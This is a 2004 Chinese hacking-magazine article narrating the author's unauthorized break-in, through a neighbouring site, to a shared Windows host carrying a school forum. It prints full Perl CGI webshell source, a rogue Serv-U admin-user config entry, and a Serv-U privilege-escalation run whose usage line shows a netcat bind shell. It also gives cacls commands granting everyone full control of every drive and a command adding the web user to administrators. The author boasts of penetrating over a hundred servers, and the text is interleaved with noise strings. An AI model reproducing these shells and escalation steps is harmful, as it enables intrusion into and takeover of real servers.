剑走偏锋——灵巧的旁注攻击 7 v/ `; O: l$ ^
本文作者:angel S- s3 q y" u( G* f
文章性质:原创
# q: Q( } x' b+ u发布日期:2004-11-09
% L) ~* R# s( I注意:$ u O6 I1 @( ]& o2 q2 ?4 C
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。2 U" Y0 `; X8 J7 f! P
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
- Z& E0 _7 Y k% y
. _, r0 {& Q b1 |* N 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 - O; Y1 W) b5 g$ q: e; ^, t
6 h& X' S3 c' p3 Y+ K
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
E2 Q6 i) t$ U( h0 K3 W6 i- ?8 N; y- g- B5 a# s/ M* T
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 $ Y9 r. m* ]% v9 r+ p
1 y6 w( D: e) I 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
3 @7 t5 \8 p! J8 k( r" t. S
" [( ^$ O: W9 E; Y) j 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 4 K, G2 ^0 h2 J8 o) O
% ]% I: e) d* J$ W4 c3 t8 l
没有目的的跳转目录着…… 4 ~ }7 u4 u! F5 I3 l% q# n3 V
% a* f9 D# o/ f/ H1 B
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 6 k8 t* X* O3 F) C- L; l) h
/ C8 o2 u o- ~8 I5 f
结束了吗?不,我试着 FTP 一下:
$ N0 m! B' j8 i+ W# U4 l! u2 e. j- W+ ?9 H7 R8 A$ h* p) ^) E
Microsoft Windows 2000 [Version 5.00.2195] V8 B+ {4 d( g. H9 v
(C) 版权所有 1985-2000 Microsoft Corp. 5 t4 g& u' @% U0 F t
+ J4 E+ [/ |, _( E, g. k# D- T4 M# k
C:\Documents and Settings\Administrator>ftp www.school.com
! i" `$ b# k2 lConnected to www. school.com. + {, {0 W' ] c V5 p5 `. ?' W
220 Welcome to FTP Server... z0 J1 `4 n$ H: u4 ]' D6 p
User (www.bjtrq.com:(none)): 4 W5 s# J, z' W4 g [
331 User name okay, need password.
: c% A& _; d. Q6 N2 d$ v2 }+ B/ xPassword: ! p) w0 m, y( m% ]9 ?* N3 X
530 Not logged in.
N( ^0 m! C' }' _; u7 q# SLogin failed.
; @. x& d' G4 z1 dftp> bye
; Q# _' p8 i' ^; c9 [* k221 Goodbye!
' z- v9 ]7 t. p( ]4 b' R4 a0 Z9 _+ { 2 Z, D! d+ t5 ]! s
" `" E# H+ C2 ], H: r- J! K2 v9 L
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
0 o2 {) } z$ H9 k: D
5 s0 d: b9 Q5 g 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 # [ T2 S" N `/ F
- k* |& B9 C& } @0 O0 \9 W4 ^Application Data
0 w' d+ A3 U. T# v, ^ ^& c9 G- xDocuments
( W# ]- G- U0 j2 V6 ^- x/ ?DRM: s' s9 M0 @; k0 k6 b j: C/ W' \/ Y
Favorites; ~0 E2 L( n# t
Templates
5 x* _9 Z9 `1 I! U「开始」菜单: \2 a4 e, c' V; j% x1 c, {; r
桌面" M* r* {2 ^/ u" m& J- \& }, C
: R9 m4 B% e0 W- D% ^. A* ~
& F o4 _/ N3 d# d" H9 Y 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ' X5 O! C3 ^2 @) w' y; l
* B5 B/ E/ n* H/ n! |. P2 X* q
ActiveState ActivePerl 5.86 M" w2 Y, o# z$ E, Z }$ v
Administrative Tools
& }) u7 B) ~1 {; c9 G1 s2 WDeerfield.com4 o" P+ R+ n7 E' h3 u. }
DTemp
, n0 d0 c1 u vIPSentry
8 E; O% Y7 ~ ?# H o: UMBM 54 w6 @" o; h8 {; H& O9 r
NetMeter; G* W \% u- u) u
Network ICE3 j" c& \5 y' [) V* [$ E. b# K
Persits Software AspEmail
2 W7 r4 H7 j; n- [: H9 qPersits Software AspJpeg2 g: G% _7 {8 s0 e
Serv-U FTP Server6 Z" X' N7 o0 m- w% z
Symantec Client Security
) T8 @* y/ s' |! L6 iWindows 优化大师
/ U. \. o! r: s9 O- P Y" jWinRAR
' a" \- P7 h( Q; c* z2 B# a1 x启动0 ?! ?- [5 e8 R
管理工具' m) U2 o c x* h! L, L8 K
附件
/ u9 a4 Z& A3 a: S1 q, r 5 {' G- L) x: ~6 S
( b8 i- e: j8 h& v
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 2 q; e, H/ q0 Q q# Z* X& A
9 _- r6 l3 \* Q4 g6 c" T
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 7 b ]5 p! T2 z j
8 q9 u+ G0 H+ v% ]User281=angel|1|0 5 y0 |9 V3 w5 y( T1 s
$ x) `; z) T5 S8 {4 |$ k
9 I1 b- h: z4 q& c. l7 a 然后加上 |' \+ o, |! p1 ~ t/ p
+ [( K$ i" p9 q& u9 B* b0 W+ o7 \9 Q
[USER=angel|1]
* `& C2 Y% T, r0 `" p- APassword=ng98F85379EA68DBF97BAADCA99B69B805
5 q4 O( V% N6 aHomeDir=D:\websites
1 ~7 [7 Q. X5 J" ? x! K1 |, RRelPaths=1
! v8 u, Q. P7 d0 D% F3 DTimeOut=600' q/ q% G E- B0 k0 z
Maintenance=System% @- a3 V m, d0 m: d
Access1=D:\websites|RWAMELCDP8 s/ X: ~. @; `# F- X' c
SKEYValues=0 H! y. p% R: {2 L
6 t+ d* t7 n Y& H( s" Z
7 ?3 l2 u' ?+ M1 k1 z: L% j+ z
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
0 ]4 h- M7 G- L( C% B( V" i$ r! C2 l# W+ |4 e* ^
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 " X# c- d. u* c- L' c* J
5 U6 Y6 a Y f% k5 C
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 6 S( H; B. v2 x
5 }& O1 r Z/ h9 _+ i 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ) y2 w m G3 `: W
9 ?$ `4 P7 [5 J#!/usr/bin/perl
1 I/ \* a. L5 L$ Z! Qbinmode(STDOUT);' w0 y1 j( c( I% L* l2 n% W7 m
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
! r1 y0 ^, i$ t$_ = $ENV{QUERY_STRING};- K0 q% J% M6 H* b4 ?
s/%20/ /ig;
* S- |# b6 ]0 ]$ as/%2f/\//ig;. F1 l- \4 ^$ r8 _$ [
$execthis = $_;
9 y0 |; E1 x, P' Ksyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
: k# s2 s- B3 l2 @8 q: Lopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";+ L6 L) e! u) v. P& p1 _5 w7 T
system($execthis);
6 m- B& A. `& }5 H% R- p' w( X4 w/ rsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
* W3 [& H: i) H9 g- C9 ]% Jclose(STDERR);
& P) l: V% e1 D2 M& W* D; U( rclose(STDOUT);8 W1 \6 R8 Q: T# h* P, O1 k
exit;8 A) K" g& J l5 o# R
- d5 P( l7 V. H* u+ {3 e
8 \! s; }" B; M 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 8 H, m$ g! n2 h) ]3 ]7 j. }$ c
1 q; e! t" z5 u 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 9 Y( @! G f3 q5 ~# d0 d
$ _3 i) \9 R' u# g3 Y& w ~3 ?
http://anyhost//cmd.pl?d:\user\bin\su.exe 7 q3 v6 l: b! ?1 c( L
1 c+ C4 }' x$ T8 ^4 Y* X! x* Z0 q: T
5 L3 Y( @/ ~6 ^( m 返回:
& V* B1 K+ d2 M0 [* Q: c& q
' a/ D6 W% C8 dServ-u >3.x Local Exploit by xiaolu
* I+ P0 z4 N; }7 ~/ T% G- ^: C9 m: P8 u# n# Y8 K
USAGE: serv-u.exe "command"
4 O5 i3 e1 q7 g1 U5 y! {4 A2 L8 ^- L7 C
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" + j' u4 h5 d6 b8 I3 a4 a o% i% `
) ^& V1 C1 b% S; a
. u1 m) J) F# u* T# I 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
0 {1 a4 V2 N/ A: ?1 P$ Y8 l2 i& C' q6 l1 U! w. l% s
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 8 l5 @1 J8 U1 v) d9 ]9 |. |
; [8 t/ u7 ^6 B/ {+ D2 Hhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ! C3 N1 ?" u8 | B. ^+ Y, q8 j0 W
% y' ], Q2 a7 N, Fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
+ \1 z$ r! V2 l! ]
, S Q s# Z' W3 ?) Zhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
( F$ s5 X9 f) E ! ?+ `8 w/ {4 D, \4 F- l
% w. s8 S+ W9 J0 ~# P; x6 O2 o7 L
返回下面的信息,就表示成功了!!! , W, u! @% R4 ~$ p7 h
( N: s) w* |9 h3 Q3 }% y: \
Serv-u >3.x Local Exploit by xiaolu
- I8 [8 ]2 |2 I( T5 v
0 q: z5 l& h) w6 p0 f- r<220 Serv-U FTP Server v5.2 for WinSock ready...
. ^) J5 }2 c* Z; L* r' @1 {1 i4 T# a0 q. w( z, C
>USER LocalAdministrator
' x& E+ L ^6 e. M# s8 z9 w4 l0 ]
<331 User name okay, need password.
$ J; ~5 \- X6 G+ I! `; Q! [6 x/ \" x1 \- }$ E+ S4 h: I# k
******************************************************
5 g- M8 D- X* j) T, x1 F9 | L2 v9 }- V% k, `% V
>PASS #l@$ak#.lk;0@P
0 c4 T) F5 ~$ @. w P4 n2 P
! C' u- y& r' Z- ?# A<230 User logged in, proceed. - o7 x/ I* N- ?1 m4 n4 j+ Y
7 g6 C4 w" j# w9 L
****************************************************** . @* A, b3 W/ ~! N5 h
# Y) b% h7 C. a9 p+ Y>SITE MAINTENANCE
2 B, |7 W" C! z! v1 X
9 \1 l4 C. H- S: K******************************************************
" }" X. c/ K* y) h A1 X
& M$ M) Y% O' a9 d' H[+] Creating New Domain... 7 S& I" u3 \3 v: J6 _, b1 Q
' ^$ L+ h! n; D. w/ E
<200-DomainID=2 * z3 J) E. H8 S a0 [* a; U1 w
# K! A% n! {$ s& x& \2 p
<220 Domain settings saved
j; q6 ?: @5 Q: E/ T' c. Y6 c0 E) q" d( d
******************************************************
3 S9 {2 [6 n' U- R- P- |- B; p1 P( u9 ?9 S T
[+] Domain xl:2 Created : c$ W* p. D8 N, r$ p
b$ N7 R& ~. x$ ]) Q" I1 U& F5 u[+] Creating Evil User
+ v' @. k6 i2 P0 J; r* [: a: d
) W0 l/ h; H8 S# e<200-User=xl
) @. k' Z, G4 v* e% k+ l0 U6 E
- \: E' K9 d; H& p8 n200 User settings saved 6 c# b; Y, W. C3 X
# y7 ] l* i- I6 r7 B& ]: V
****************************************************** 9 K& ?" T, w' g) [. A+ c
9 ^$ O/ T0 R5 v; j+ [
[+] Now Exploiting... # X/ ~8 W; k4 ^
- M. Q. B ] e4 U
>USER xl
4 s# E0 k# t# y9 P( a9 @, B; M, y; S' `- ^2 ?
<331 User name okay, need password.
7 f g2 J) Z6 A+ G4 w
9 G, }4 m' V3 G. Z* X****************************************************** : u3 x( a" ?9 @, }
/ j5 {% c( ^/ G
>PASS 111111
- `; q1 v) y2 @" K1 v; n+ R% J i& W: l- D. j
<230 User logged in, proceed.
# C- W7 w% o4 l9 ~( H( \
L; [; a3 c6 N7 K$ m, F****************************************************** $ N: \8 |/ s {6 O7 @% Y
1 l6 t( g& \$ |' W[+] Now Executing: cacls.exe c: /E /T /G everyone:F " N* ~( i! c/ m5 d$ a9 P
7 v8 }; l1 y5 c6 B* Q<220 Domain deleted ) q' ]5 C3 E" C5 S* `
" T: c' B( I S& R
******************************************************
4 u/ i7 B @% I. x 7 J4 X1 i) h) d1 ? P" g$ m
; O# l! M! C! k$ Y1 y) \$ @
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 C0 u" Q5 y9 ?* m2 v" K; v; j* k, H7 [ T/ @
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
$ ?- J& @3 h% F, G0 V' L0 U" e4 ^ 3 ?" d* B! t6 R5 T( U6 d( }% C
& L. _9 m) j1 \7 R 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
0 V1 u- Y* V* x# h: C1 P/ E( d
, [8 q3 P9 x, j* ] b2 A+ ~ 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
( {9 \1 t# O- J2 l) |/ [* }
+ n7 p2 Q8 J3 |3 e
8 k: C4 g/ [% ~5 i |